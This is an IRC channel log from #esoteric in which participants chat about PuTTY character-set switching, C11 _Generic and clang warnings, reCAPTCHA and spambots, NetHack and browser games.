:Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1395009402 127142 :ion!ion@heh.fi PRIVMSG #esoteric :http://i.imgur.com/kVASZSk.jpg < 1395009827 13879 :zzo38!~zzo38@24-207-51-179.eastlink.ca QUIT :*.net *.split < 1395009827 14015 :Slereah_!~jackal@176.222.51.233 QUIT :*.net *.split < 1395009827 14191 :tertu!~quassel@143.44.65.14 QUIT :*.net *.split < 1395009827 14262 :Sorella!~queen@oftn/member/Sorella QUIT :*.net *.split < 1395009827 14331 :FireFly!~firefly@oftn/member/FireFly QUIT :*.net *.split < 1395009827 14399 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :*.net *.split < 1395009881 537301 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395009881 537420 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395009881 537488 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1395009881 537554 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395009888 587725 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :imgur needs to stop naming everything .jpg < 1395009899 847600 :ion!ion@heh.fi PRIVMSG #esoteric :Especially .jpegs < 1395009983 451602 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike... my client thinks you're not here < 1395010077 881039 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :Bike: http://i.imgur.com/kVASZSk.png <-- better? < 1395010138 880175 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 QUIT :Ping timeout: 245 seconds < 1395010421 393502 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395010616 650359 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1395010998 124689 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395011031 343546 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395011116 295197 :Bike!~Glossina@71-222-114-227.ptld.qwest.net JOIN :#esoteric < 1395011218 448272 :Bike!~Glossina@71-222-114-227.ptld.qwest.net PRIVMSG #esoteric :i'm at the point of wanting to complain about linux distributions. is there a cure? < 1395011262 531512 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Bike: you could write patches for Unity < 1395011269 203461 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that worked in my case, I'm not sure why though < 1395011281 270139 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping 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1395019408 544017 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1395021474 148649 :Bike!~Glossina@71-222-114-227.ptld.qwest.net QUIT :Ping timeout: 255 seconds < 1395022192 700787 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395022226 183640 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395022275 228934 :Bike!~Glossina@71-222-114-227.ptld.qwest.net JOIN :#esoteric < 1395022500 97578 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 255 seconds < 1395022757 579935 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I just realised something < 1395022767 927589 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I find the concept of living near one's cousins really alien < 1395022826 271590 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Also I need to sleep < 1395022831 72885 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Goodnight #esoteric < 1395022983 603588 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1395022990 461275 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :in particular, Taneb's cousin It < 1395023012 912942 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops, *Itt < 1395023015 375527 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, all my cousins live in Australia < 1395023052 214445 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ic < 1395023063 405026 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :These things sound surprisingly good once I realize that there are two devices and I need to be sending to stereo < 1395023782 371305 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395024441 639455 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395024474 51288 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395024577 330781 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1395024616 99708 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:tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395031217 124800 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395031235 196112 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395031248 306989 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395031265 452306 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395031300 125480 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395031331 242627 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1395031372 338646 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395031639 342735 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1395033999 907620 :Slereahphone!~slereahph@80.10.159.214 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395034393 37586 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"(Yes, eval() is used here, leaving you at mortal risk of XSS-attacking yourself.)" < 1395034769 297077 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395035153 48513 :tertu_!~quassel@143.44.65.14 QUIT :Ping timeout: 246 seconds < 1395035563 324599 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1395035612 737118 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1395036439 782841 :Bike!~Glossina@71-222-114-227.ptld.qwest.net QUIT :Ping timeout: 264 seconds < 1395037731 731761 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :kmc: http://www.crazygames.com/game/9007199254740992 < 1395039067 706745 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 264 seconds < 1395039200 68171 :Slereahphone!~slereahph@80.10.159.214 JOIN :#esoteric < 1395039607 299043 :Slereahphone!~slereahph@80.10.159.214 QUIT :Remote host closed the connection < 1395039668 19860 :Slereahphone!~slereahph@80.10.159.214 JOIN :#esoteric < 1395039762 251913 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395039805 659932 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :How do I use other programs on my computer with a SSH tunnel? < 1395039837 931433 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have Cygwin and PuTTY and netcat all installed. < 1395040659 231234 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :shachaf: yesssssss < 1395041808 53174 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :2^53 is arguably a strange number to stop at, given that all the values involved would be powers of two and therefore exactly representable even beyond the integer values in a double. < 1395041830 658757 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: many people don't really understand how floats work < 1395041893 387262 :password2!~password@197.78.165.224 JOIN :#esoteric < 1395042490 305677 :Slereahphone!~slereahph@80.10.159.214 QUIT :Read error: Connection reset by peer < 1395042504 782151 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395042696 5303 :Slereahphone!~slereahph@80.10.159.214 JOIN :#esoteric < 1395042955 315658 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Did you know that 2048 is isomorphic to a game where the largest number involved is 11 < 1395043007 432957 :password2!~password@197.78.165.224 QUIT :Remote host closed the connection < 1395043074 88634 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Jafet: yes, obviously < 1395043084 994083 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also to a game where the largest number involved is -3, although that might be a bit less intuitive < 1395043123 690222 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://www.twitch.tv/twitchplays2048 < 1395043279 267630 :password2!~password@197.78.165.224 JOIN :#esoteric < 1395043450 240547 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :ais523: is -3 just an arbitrary choice here or interesting in some way < 1395043457 27049 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :just arbitrary < 1395043463 303512 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :only I wanted it to be negative < 1395043521 210630 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :For any game X, what's the expected time difference between the release of X and the appearance of Twitch Plays X? < 1395043575 59483 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Also, should high-level chess tournaments have a Twitch Plays Chess competitor?) < 1395043605 982518 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Kasparov_versus_the_World < 1395043610 889081 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(Kasparov won.) < 1395043626 223849 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Now that you mention it, I vaguely recall that. < 1395043663 141481 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :50 thousand people... about the same number of participants as tpp < 1395043684 331293 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It didn't have a democracy/anarchy vote, though. Not that I think that would've improved the World Team's chance of winning. < 1395043717 793202 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :"STOP PRESSING RESIGN" < 1395043725 546658 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Jafet: Is that because Kasparov is a good chess player, or because of the way the world team's moves are decided? < 1395043932 944677 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :This dropped in my inbox a moment ago, and is possibly even slightly related to the topic: http://sprunge.us/jbIC < 1395044003 471945 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :how do they prove that the humans are actually picking the median value and not just pressing buttons at random? < 1395044143 358433 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I wonder how large their "experiments" were < 1395044195 396295 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :They don't; the proof seems to be just for the fact that the process (the whole deal with the triplets) coincides with the mean if the triplets are samples from a univariate normal distribution. < 1395044211 156223 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :On a relatedly related note, it seems that you can ignore the non-captcha part of a recaptcha and it will still let you pass < 1395044263 315596 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :For the semantic-clustering-of-images task, it's not like there'd be an actual correct median value, anyway. < 1395044309 526590 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :recaptcha no longer serves its original purpose < 1395044326 444000 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it used to be that both halves were words that Google's OCR couldn't handle < 1395044331 793644 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but the spambots got good at it < 1395044344 156844 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and instead of just using the spambots to digitize books, they screwed everything up < 1395044351 502121 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and now the spambots don't have to bother with the digitization < 1395044399 73397 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395044401 544836 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :How did the check work if both words were un-OCRable < 1395044426 909604 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :ais523: what do you mean by "the spambots don't have to bother with the digitization"? < 1395044439 248748 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fizzie: one of the words would be a word that had already been checked by many humans < 1395044469 773861 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :coppro: it's easy to tell which of the two words/number sequences is being digitized, and which one is random < 1395044497 81776 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :ah, I see what you mean < 1395044529 665135 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :and of course you can't use voting or anything because the spambots outnumber the humans < 1395044537 197098 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is the source codes for those spambots available? < 1395044612 415222 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :most likely no, although you never know < 1395044615 78939 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :In principle you don't need the source code, you just trade their OCR services for a free email account or whatever. < 1395044640 152495 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Such a thing would be useful, for several purposes, such as: to figure out how to prevent such spam, to port it to another computer, or if it implements OCR, to improve open source OCR stuff. < 1395044650 638284 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I know that as part of my teaching job, my boss asked me to make a system to email a bunch of students their feedback for the week < 1395044657 480083 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(And to answer questions, if it is a question CAPTCHA) < 1395044665 123227 :password2!~password@197.78.165.224 QUIT :Ping timeout: 240 seconds < 1395044683 508157 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and looking up libraries to do so, I found one that was designed for sending a huge number of emails to a particular server in a short space of time < 1395044700 404034 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Spambots do other stuff too of course, and some of these may be useful to have source codes for, for various purposes. < 1395044700 461339 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I thought "hmm, that seems useful for spambots", and then used it anyway because it was what I needed < 1395044757 325180 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why doesn't the shift-in and shift-out controls work in PuTTY? < 1395044807 535554 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: because PuTTY cannot handle character set switching when UTF-8 is turned on, which is probably a bug < 1395044818 545814 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :they will work if you set it to, say, Latin-1 < 1395044823 974875 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or code page 437 < 1395044933 186941 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 240 seconds < 1395044933 569391 :FireFly!~firefly@oftn/member/FireFly QUIT :Ping timeout: 240 seconds < 1395045017 548827 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :In the session I used that, it was set to Latin-1. I tried changing it to CP437 and it still doesn't work. < 1395045032 813062 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1395045118 739426 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38: another thing to check: SI and SO change between character sets G0 and G1, which are both customizable < 1395045128 223122 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if they're set to the same thing, then SI and SO will have no visible effect < 1395045133 458792 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, OK < 1395045151 913375 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I intended it to be set to VT100 characters < 1395045158 132472 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the normal setup would be "ESC ( B ESC ) 0" < 1395045166 62847 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which sets G0 to Latin-1 and G1 to VT100 < 1395045222 608582 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, OK, that works < 1395045263 316743 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can the initial setting be configured in PuTTY? < 1395045339 592413 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why isn't that the default setting anyways? < 1395045356 815276 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It seems like setting G1 to VT100 ought to be the default setting. < 1395045541 606234 :password2!~password@197.78.152.105 JOIN :#esoteric < 1395045598 344133 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have LANG=C set up but now I found another environment variable called LANGUAGE, what is that one for? < 1395046305 391064 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395046650 7624 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have idea about chess, where you may consider draws sometimes to be a half-win or half-lose. < 1395046714 207813 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :For example, a stalemated player is half-lose, player whose move is the third of a three-times-repetition is half-lose. < 1395046720 417582 :Slereahphone!~slereahph@80.10.159.214 QUIT :Read error: Connection reset by peer < 1395046739 945860 :Slereahphone!~slereahph@80.10.159.214 JOIN :#esoteric < 1395047331 849623 :Slereahphone!~slereahph@80.10.159.214 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395047442 295555 :Slereahphone!~slereahph@80.10.159.214 JOIN :#esoteric < 1395047885 436788 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :zzo38: For glibc, you can put a list of languages in "LANGUAGE", and that will be used as a priority order for languages for messages; it overrides LANG, LC_MESSAGES and LC_ALL, except if those specify "C", in which case it has no effect. I don't think it's included in POSIX. < 1395047912 290848 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(The idea being that you can specify the fallback language if there are no translations for your preferred language.) < 1395047934 44206 :password2!~password@197.78.152.105 QUIT :Ping timeout: 255 seconds < 1395048872 668101 :Slereahphone_!~slereahph@193.253.170.196 JOIN :#esoteric < 1395048889 361109 :Slereahphone!~slereahph@80.10.159.214 QUIT :Ping timeout: 240 seconds < 1395048900 188082 :Slereahphone_!~slereahph@193.253.170.196 NICK :Slereahphone < 1395049063 355676 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395049251 624676 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395050119 680312 :Slereahphone!~slereahph@193.253.170.196 QUIT :Ping timeout: 264 seconds < 1395050251 771700 :Slereahphone!~slereahph@193.253.170.196 JOIN :#esoteric < 1395050554 715440 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395050617 876121 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have specified "C" in LANG. < 1395050742 160556 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Which I think always should be used. < 1395050755 397666 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395050756 295259 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395050806 81646 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But you might want to override for messages only, in case you prefer non-English languages < 1395050913 714311 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, btw, I found another compiler bug yesterday; the version of clang in the repos here produces warning messages for non-taken branches of a _Generic expression, even though they aren't evaluated and so there's no point in producing warnings for them < 1395051070 102481 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Does it also produce errors? < 1395051131 907929 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's worth testing, but that might arguably not violate the standard < 1395051142 521798 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :non-taken branches of a _Generic are sort-of like the argument to sizeof < 1395051156 194092 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's acknowledged that it exists, it just is never evaluated < 1395051159 903529 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so, hmm < 1395051165 976558 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Mine seems to, for (at least some) constraint violations. < 1395051168 493055 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :maybe clang isn't buggy after all, maybe it's the standard that's buggy < 1395051284 45866 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Could be. It does make _Generic a bit less generically (no pun intended) applicable. < 1395051340 828724 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :E.g. I tried out _Generic(p, int: p ^= 1, char *: p += 1) for a char *p, and you could argue that should be okay, since ^= 1 makes sense for an int, but according to clang (and very possibly the standard) it's a constraint violation nevertheless. < 1395051351 366481 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, I was trying to use it to discover which of the arguments to macros are string literals < 1395051379 663112 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this is probably worth taking to Usenet < 1395051399 800679 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it'd be nice to have a way to suppress warnings, at least < 1395051413 34871 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because I can initialize a char * with a struct if I really have to < 1395051420 451421 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess I could cheat and cast via void * < 1395051425 499366 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which would suppress the warning < 1395051436 104843 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this is all pointless, anyway, because gcc doesn't do _Generic yet < 1395051480 168575 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395051571 991669 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can take the quasi-portable approach and use GCC extensions on GCC and (try to use) _Generic elsewhere. < 1395051613 45308 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Also it's going to be in 4.9.) < 1395051811 579714 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :_Generic(e, a: x, b: y, default: z) is at least approximately __builtin_choose_expr(__builtin_types_compatible(__typeof__(e), a), x, __builtin_choose_expr(__builtin_types_compatible(__typeof__(e), b), y, z)), after all. < 1395051839 166936 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :except that the standard version of _Generic errors if multiple types match < 1395051915 46297 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :nethack: how do I open a box < 1395051925 894093 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Taneb: #loot < 1395051929 999939 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or in NetHack 4, a then , < 1395051936 667634 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Thanks < 1395051941 689925 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(#loot also works in NH4 but a, is easier to type) < 1395051954 663937 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(and more consistent with the other controls) < 1395051955 568506 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I'm sure you can work that in too. (Static assert on the sum of 0s or 1s chosen based on type compatibility <= 1.) < 1395051956 562222 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Aw, it was locked < 1395051965 192236 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that happens a lot < 1395051992 159502 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :How common are keys? < 1395052005 4019 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :not that rare, you're more likely to find them in the Mines < 1395052011 169961 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :either randomly, or purchasing them from shops < 1395052031 167762 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also you can normally get the box open using sufficient violence, but that tends to have bad side effects < 1395052047 861006 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(kick it with ^D or use your weapon with #force; don't #force if you have a valuable weapon, it might break) < 1395052142 199534 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net QUIT :Ping timeout: 246 seconds < 1395052156 75836 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You might also come across a lock pick, which is similar to a key except with slightly different properties. < 1395052170 345498 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :smaller numbers < 1395052176 779441 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(or very occasionally, larger) < 1395052231 112071 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The weight seems to be consistently larger. < 1395052289 422489 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ah right < 1395052295 211315 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I was referring to "chance to open a lock per turn" < 1395052303 177983 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which is the main performance difference between unlocking tools < 1395052307 284270 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395052308 837125 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :fizzie: I like it with the GCC extensions, which I think is a more useful and more versatile way. < 1395052320 520899 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(In GNU mode you can use "typeof" without underscores.) < 1395053205 732046 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: "effects whether" -> "affects whether", and that malloc/strcpy is shorter as strdup("submenu") if you can use strdup/have an implementation lying around < 1395053211 102141 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: no credit desired for either < 1395053261 52800 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: someone on Hacker News already pointed out strdup, but I've actually been removing strdup calls, because they're POSIX rather than C11 and this actually comes up sometimes < 1395053272 818789 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and my blog posts frequently have typos in < 1395053276 143056 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :you can just write your own strdup and save the LOC everywhere < 1395053279 945010 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that happens when you write ten thousand words in two days < 1395053292 347756 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's a good thing you have me to tell you the typos so you can fix them, then < 1395053302 602946 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I just left them unfixed in the other posts < 1395053310 964129 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :this is getting enough exposure that I might have to fix them, though < 1395053325 300053 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I use strdup though, it is available in Windows and in UNIX systems; you can add an implementation of strdup if needed. < 1395053328 383216 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there was also a debate on the thread about whether strdup'ping a constant is the best idea, because if it isn't inlined, it'll need to count the characters in it every time through < 1395053345 30701 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I didn't expect the post to get as popular as it did < 1395053348 304398 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: btw, you also don't check for malloc failure... < 1395053354 245992 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :does the real code use a malloc wrapper? < 1395053358 483567 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :ais523: Can it inline it though? < 1395053368 997217 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: I think it used to, then daniel_t changed it so it didn't < 1395053378 514561 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :that's bizarre < 1395053393 858010 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :I mean Linux's default configuration isn't going to give you NULL back, but... < 1395053419 545394 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, running out of stack gives you a segfault, arguably running out of heap should to < 1395053427 717475 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: anyway, return "submenu"; would work if you appropriately const-marked the return value, right? < 1395053431 443559 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's pretty easy to change whether we have malloc wrapped or not, though < 1395053434 900390 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh, it's to allow free() < 1395053436 833606 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :never mind < 1395053439 330213 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :yeah, it's to allow free < 1395053451 952587 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :free() on string constants should be specified to do nothing or something < 1395053459 924092 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I was about to say that < 1395053465 184632 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: on Linux, it doesn't necessarily give you a segfault < 1395053466 291455 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's technically viable in most C implementations < 1395053469 369167 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it might kill Firefox instead < 1395053470 775718 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :elliott: I don't agree it shouldn't specify < 1395053485 594219 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :elliott: it does 100% give you a segfault unless you explicitly mmap'ed over NULL < 1395053485 693278 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ais523: which is rather more annoying < 1395053489 535887 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or 